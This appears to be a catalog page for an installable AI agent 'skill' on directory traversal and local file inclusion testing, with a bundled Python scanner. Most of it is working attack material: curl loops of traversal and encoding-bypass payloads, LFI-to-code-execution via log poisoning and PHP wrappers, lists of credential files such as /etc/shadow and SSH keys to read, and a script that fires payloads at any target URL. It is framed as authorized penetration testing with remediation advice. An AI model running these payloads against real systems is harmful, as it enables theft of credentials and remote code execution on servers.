web application security

Performing Directory Traversal Testing

Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.

directory-traversallfiowasppath-traversalpenetration-testingweb-security
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • During authorized penetration tests when the application handles file paths in URL parameters or request bodies
  • When testing file download, file view, or file include functionality
  • For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities
  • When evaluating template engines, logging systems, or report generators that reference files
  • During security assessments of APIs that accept file names or paths as parameters

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: For intercepting and modifying file path parameters
  • ffuf: For fuzzing file path parameters with traversal payloads
  • dotdotpwn: Automated directory traversal fuzzer (apt install dotdotpwn)
  • SecLists: Traversal payload wordlists from Daniel Miessler's collection
  • curl: For manual testing of traversal payloads

Workflow

Step 1: Identify File Path Parameters

Find application endpoints that reference files through parameters.

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default
 
# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename
 
# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"
 
# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"

Step 2: Test Basic Directory Traversal Payloads

Attempt to escape the intended directory and read sensitive files.

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)
 
for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done
 
# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)
 
for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done

Step 3: Apply Encoding and Filter Bypass Techniques

Use various encoding schemes to bypass input validation filters.

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
 
# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"
 
# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"
 
# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"
 
# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"
 
# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"
 
# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"
 
# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"

Step 4: Automate with ffuf and dotdotpwn

Use automated tools for comprehensive traversal testing.

# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \
  -t 20 -rate 50 \
  -o traversal-results.json -of json
 
# dotdotpwn for systematic traversal testing
dotdotpwn -m http-url \
  -u "https://target.example.com/download?file=TRAVERSAL" \
  -k "root:" \
  -o /tmp/dotdotpwn-results.txt \
  -d 8 -t 200
 
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the file parameter value as insertion point
# 3. Load LFI payload list from SecLists
# 4. Add Grep Match rules for: "root:", "[extensions]", "for 16-bit"
# 5. Start attack and review matches

Step 5: Test Local File Inclusion (LFI) for Code Execution

If LFI is confirmed, attempt to escalate to remote code execution.

# PHP LFI to RCE via log poisoning
# Step 1: Inject PHP code into access log
curl -s -A "<?php system(\$_GET['cmd']); ?>" \
  "https://target.example.com/"
 
# Step 2: Include the log file via LFI
curl -s "https://target.example.com/page?file=../../../var/log/apache2/access.log&cmd=id"
 
# PHP wrapper for file read (base64 encode to avoid parsing)
curl -s "https://target.example.com/page?file=php://filter/convert.base64-encode/resource=config.php"
 
# PHP wrapper for code execution
curl -s -X POST \
  -d "<?php system('id'); ?>" \
  "https://target.example.com/page?file=php://input"
 
# PHP data wrapper
curl -s "https://target.example.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
 
# Include /proc/self/environ (if readable)
curl -s -A "<?php phpinfo(); ?>" \
  "https://target.example.com/page?file=../../../proc/self/environ"
 
# Session file inclusion
# Write PHP code into session via another parameter
# Then include: /tmp/sess_<PHPSESSID>

Step 6: Read High-Value Files

Target sensitive configuration and credential files.

# Linux high-value files
HIGH_VALUE_LINUX=(
  "/etc/passwd"
  "/etc/shadow"
  "/etc/hosts"
  "/etc/hostname"
  "/proc/self/environ"
  "/proc/self/cmdline"
  "/var/www/html/.env"
  "/var/www/html/config.php"
  "/var/www/html/wp-config.php"
  "/home/user/.ssh/id_rsa"
  "/home/user/.bash_history"
  "/root/.bash_history"
  "/var/log/auth.log"
)
 
for file in "${HIGH_VALUE_LINUX[@]}"; do
  traversal="../../../../../../..$file"
  echo -n "$file: "
  response=$(curl -s "https://target.example.com/download?file=$traversal")
  if [ ${#response} -gt 10 ]; then
    echo "READABLE (${#response} bytes)"
  else
    echo "Not accessible"
  fi
done
 
# Windows high-value files
HIGH_VALUE_WIN=(
  "C:\\Windows\\win.ini"
  "C:\\Windows\\System32\\drivers\\etc\\hosts"
  "C:\\inetpub\\wwwroot\\web.config"
  "C:\\Users\\Administrator\\.ssh\\id_rsa"
  "C:\\xampp\\apache\\conf\\httpd.conf"
  "C:\\xampp\\mysql\\data\\mysql\\user.MYD"
)

Key Concepts

Concept Description
Directory Traversal Using ../ sequences to navigate to parent directories and access files outside the intended path
Local File Inclusion (LFI) Server-side inclusion of local files, potentially leading to code execution
Remote File Inclusion (RFI) Including files from external URLs (requires allow_url_include=On in PHP)
Null Byte Injection Using %00 to truncate file paths, bypassing extension checks in older PHP versions
PHP Wrappers Protocols like php://filter, php://input, data:// for reading and executing files
Log Poisoning Injecting code into log files and then including them via LFI for code execution
Path Canonicalization The process of resolving relative paths to absolute paths, which can be exploited

Tools & Systems

Tool Purpose
Burp Suite Professional Request interception and Intruder for automated payload testing
ffuf Fast fuzzing with LFI/traversal wordlists
dotdotpwn Dedicated directory traversal fuzzer with multiple traversal patterns
LFISuite Automated LFI exploitation tool with multiple techniques
SecLists Comprehensive wordlists including LFI payloads and traversal patterns
Kadimus LFI scanning and exploitation tool

Common Scenarios

Scenario 1: File Download Traversal

A document download endpoint at /download?file=report.pdf does not validate the file parameter. Replacing the value with ../../../etc/passwd returns the server's password file.

Scenario 2: Template LFI to RCE

A PHP application includes templates via ?page=home. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.

Scenario 3: Image Path Traversal

An image resizing service accepts ?src=images/photo.jpg. The application strips ../ once but does not recurse, so ....//....//etc/passwd bypasses the filter.

Scenario 4: Windows IIS Configuration Leak

A .NET application serves files via ?path=docs\manual.pdf. Traversing to ..\..\web.config exposes the IIS configuration file containing database connection strings.

Output Format

## Directory Traversal Finding
 
**Vulnerability**: Path Traversal / Local File Inclusion
**Severity**: High (CVSS 8.6)
**Location**: GET /download?file=../../../etc/passwd
**OWASP Category**: A01:2021 - Broken Access Control
 
### Reproduction Steps
1. Navigate to https://target.example.com/download?file=report.pdf
2. Replace file parameter: ?file=../../../etc/passwd
3. Server returns contents of /etc/passwd
 
### Files Retrieved
| File | Impact |
|------|--------|
| /etc/passwd | User enumeration (42 accounts) |
| /var/www/html/.env | Database credentials exposed |
| /home/deploy/.ssh/id_rsa | SSH private key recovered |
| /proc/self/environ | Environment variables with API keys |
 
### Filter Bypass Required
Original `../` stripped by filter. Successful bypass: `....//....//....//etc/passwd`
 
### Recommendation
1. Use an allowlist of permitted file names rather than accepting arbitrary paths
2. Resolve the canonical path and verify it stays within the intended directory
3. Run the web server with minimal file system permissions
4. Remove sensitive files from web-accessible directories
5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md2.1 KB

API Reference: Performing Directory Traversal Testing

Traversal Payload Encodings

Encoding Example Description
Plain ../../../etc/passwd Standard Unix traversal
URL-encoded ..%2f..%2f..%2fetc%2fpasswd Single URL encoding
Double-encoded ..%252f..%252f Bypass WAF single-decode
UTF-8 overlong ..%c0%af..%c0%af Bypass charset-based filters
Backslash (Windows) ..\\..\\..\\windows\\win.ini Windows path traversal
Mixed separators ..././..././ Bypass recursive stripping

PHP Wrapper Protocols (LFI)

Wrapper Description
php://filter/convert.base64-encode/resource= Read file as base64
php://input Read from POST body
expect:// Execute system command
data://text/plain;base64, Inline data injection
file:/// Direct file access

Vulnerability Indicators

File Content Indicator
/etc/passwd root:x:0:0:
win.ini [fonts], [extensions]
/proc/self/environ Environment variables
/etc/shadow Hashed passwords (critical)

requests Library

Method Description
requests.get(url, allow_redirects=False) Send traversal payload
urllib.parse.urlencode(params) Encode parameters with payloads
urllib.parse.urlparse(url) Parse URL to extract parameters

Key Libraries

  • requests (pip install requests): HTTP client for payload delivery
  • urllib.parse (stdlib): URL parsing and parameter manipulation

OWASP Testing Guide

Test ID Description
WSTG-ATHZ-01 Testing for Directory Traversal / File Include

References

Scripts 1

agent.py8.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Directory Traversal Testing Agent — AUTHORIZED TESTING ONLY
Tests web applications for path traversal (LFI) vulnerabilities by
injecting traversal sequences into file path parameters.

WARNING: Only use with explicit written authorization for the target application.
"""

import sys
from datetime import datetime, timezone
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse

import requests


TRAVERSAL_PAYLOADS = [
    "../../../etc/passwd",
    "..\\..\\..\\windows\\win.ini",
    "....//....//....//etc/passwd",
    "..%2f..%2f..%2fetc%2fpasswd",
    "%2e%2e/%2e%2e/%2e%2e/etc/passwd",
    "..%252f..%252f..%252fetc%252fpasswd",
    "..%c0%af..%c0%af..%c0%afetc/passwd",
    "/etc/passwd",
    "\\..\\..\\..\\..\\windows\\win.ini",
    "....\\....\\....\\etc\\passwd",
    "..%5c..%5c..%5cwindows%5cwin.ini",
    "/proc/self/environ",
    "/etc/shadow",
    "C:\\Windows\\System32\\drivers\\etc\\hosts",
    "..././..././..././etc/passwd",
    "..;/..;/..;/etc/passwd",
]

LINUX_INDICATORS = ["root:x:", "root:*:", "daemon:", "bin:x:", "nobody:"]
WINDOWS_INDICATORS = ["[fonts]", "[extensions]", "[mci extensions]", "for 16-bit"]


def identify_file_parameters(url: str) -> list[str]:
    """Identify URL parameters that likely handle file paths."""
    file_param_names = [
        "file", "path", "page", "include", "template", "doc",
        "document", "folder", "root", "dir", "filename",
        "download", "read", "load", "view", "content",
        "img", "image", "src", "resource", "cat",
    ]

    parsed = urlparse(url)
    params = parse_qs(parsed.query)
    return [p for p in params if p.lower() in file_param_names]


def test_traversal(url: str, param: str, session: requests.Session = None) -> list[dict]:
    """Test a parameter for directory traversal vulnerability."""
    if session is None:
        session = requests.Session()

    results = []
    parsed = urlparse(url)
    original_params = parse_qs(parsed.query)

    for payload in TRAVERSAL_PAYLOADS:
        test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()}
        test_params[param] = payload

        test_url = urlunparse((
            parsed.scheme, parsed.netloc, parsed.path,
            parsed.params, urlencode(test_params), parsed.fragment,
        ))

        try:
            resp = session.get(test_url, timeout=10, allow_redirects=False)
            body = resp.text

            is_vulnerable = False
            evidence = ""

            for indicator in LINUX_INDICATORS:
                if indicator in body:
                    is_vulnerable = True
                    evidence = f"Linux file content detected: '{indicator}'"
                    break

            if not is_vulnerable:
                for indicator in WINDOWS_INDICATORS:
                    if indicator.lower() in body.lower():
                        is_vulnerable = True
                        evidence = f"Windows file content detected: '{indicator}'"
                        break

            if is_vulnerable:
                results.append({
                    "url": test_url,
                    "parameter": param,
                    "payload": payload,
                    "status_code": resp.status_code,
                    "vulnerable": True,
                    "evidence": evidence,
                    "response_length": len(body),
                    "severity": "HIGH",
                })

        except requests.RequestException:
            continue

    return results


def test_null_byte_bypass(url: str, param: str, session: requests.Session = None) -> list[dict]:
    """Test null byte injection to bypass file extension checks."""
    if session is None:
        session = requests.Session()

    null_payloads = [
        "../../../etc/passwd%00",
        "../../../etc/passwd%00.jpg",
        "../../../etc/passwd%00.html",
        "../../../etc/passwd\x00",
    ]

    results = []
    parsed = urlparse(url)
    original_params = parse_qs(parsed.query)

    for payload in null_payloads:
        test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()}
        test_params[param] = payload

        test_url = urlunparse((
            parsed.scheme, parsed.netloc, parsed.path,
            parsed.params, urlencode(test_params), parsed.fragment,
        ))

        try:
            resp = session.get(test_url, timeout=10)
            if any(ind in resp.text for ind in LINUX_INDICATORS):
                results.append({
                    "url": test_url,
                    "payload": payload,
                    "bypass_type": "null_byte",
                    "vulnerable": True,
                    "severity": "CRITICAL",
                })
        except requests.RequestException:
            continue

    return results


def test_wrapper_protocols(url: str, param: str, session: requests.Session = None) -> list[dict]:
    """Test PHP wrapper protocols for LFI exploitation."""
    if session is None:
        session = requests.Session()

    wrappers = [
        ("php://filter/convert.base64-encode/resource=index", "PHP filter wrapper"),
        ("php://input", "PHP input wrapper"),
        ("expect://id", "PHP expect wrapper"),
        ("data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==", "PHP data wrapper"),
        ("file:///etc/passwd", "file:// wrapper"),
    ]

    results = []
    parsed = urlparse(url)
    original_params = parse_qs(parsed.query)

    for wrapper, description in wrappers:
        test_params = {k: v[0] if isinstance(v, list) else v for k, v in original_params.items()}
        test_params[param] = wrapper

        test_url = urlunparse((
            parsed.scheme, parsed.netloc, parsed.path,
            parsed.params, urlencode(test_params), parsed.fragment,
        ))

        try:
            resp = session.get(test_url, timeout=10)
            suspicious = (
                resp.status_code == 200 and
                len(resp.text) > 100 and
                "404" not in resp.text.lower()[:200]
            )
            if suspicious:
                results.append({
                    "url": test_url,
                    "wrapper": wrapper,
                    "description": description,
                    "status_code": resp.status_code,
                    "response_length": len(resp.text),
                    "severity": "CRITICAL",
                })
        except requests.RequestException:
            continue

    return results


def generate_report(traversal: list, null_byte: list, wrappers: list) -> str:
    """Generate directory traversal testing report."""
    all_vulns = traversal + null_byte + wrappers
    lines = [
        "DIRECTORY TRAVERSAL TESTING REPORT — AUTHORIZED TESTING ONLY",
        "=" * 65,
        f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}",
        f"Total Vulnerabilities Found: {len(all_vulns)}",
        "",
        f"TRAVERSAL FINDINGS ({len(traversal)}):",
        "-" * 40,
    ]

    for v in traversal:
        lines.append(f"  [{v['severity']}] {v['parameter']}: {v['payload']}")
        lines.append(f"    Evidence: {v['evidence']}")

    if null_byte:
        lines.extend([f"\nNULL BYTE BYPASS ({len(null_byte)}):"])
        for n in null_byte:
            lines.append(f"  [{n['severity']}] {n['payload']}")

    if wrappers:
        lines.extend([f"\nWRAPPER PROTOCOL ({len(wrappers)}):"])
        for w in wrappers:
            lines.append(f"  [{w['severity']}] {w['wrapper']} - {w['description']}")

    return "\n".join(lines)


if __name__ == "__main__":
    print("[!] DIRECTORY TRAVERSAL TESTING — AUTHORIZED TESTING ONLY\n")

    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url_with_params> [param_name]")
        print(f"  Example: {sys.argv[0]} 'http://target/view?file=report.pdf' file")
        sys.exit(1)

    target_url = sys.argv[1]
    param_name = sys.argv[2] if len(sys.argv) > 2 else None

    if not param_name:
        file_params = identify_file_parameters(target_url)
        if file_params:
            param_name = file_params[0]
            print(f"[*] Auto-detected file parameter: {param_name}")
        else:
            print("[!] No file parameter detected. Specify parameter name.")
            sys.exit(1)

    session = requests.Session()

    print(f"[*] Testing parameter '{param_name}' for directory traversal...")
    traversal_results = test_traversal(target_url, param_name, session)

    print("[*] Testing null byte bypass...")
    null_results = test_null_byte_bypass(target_url, param_name, session)

    print("[*] Testing wrapper protocols...")
    wrapper_results = test_wrapper_protocols(target_url, param_name, session)

    report = generate_report(traversal_results, null_results, wrapper_results)
    print(report)
Keep exploring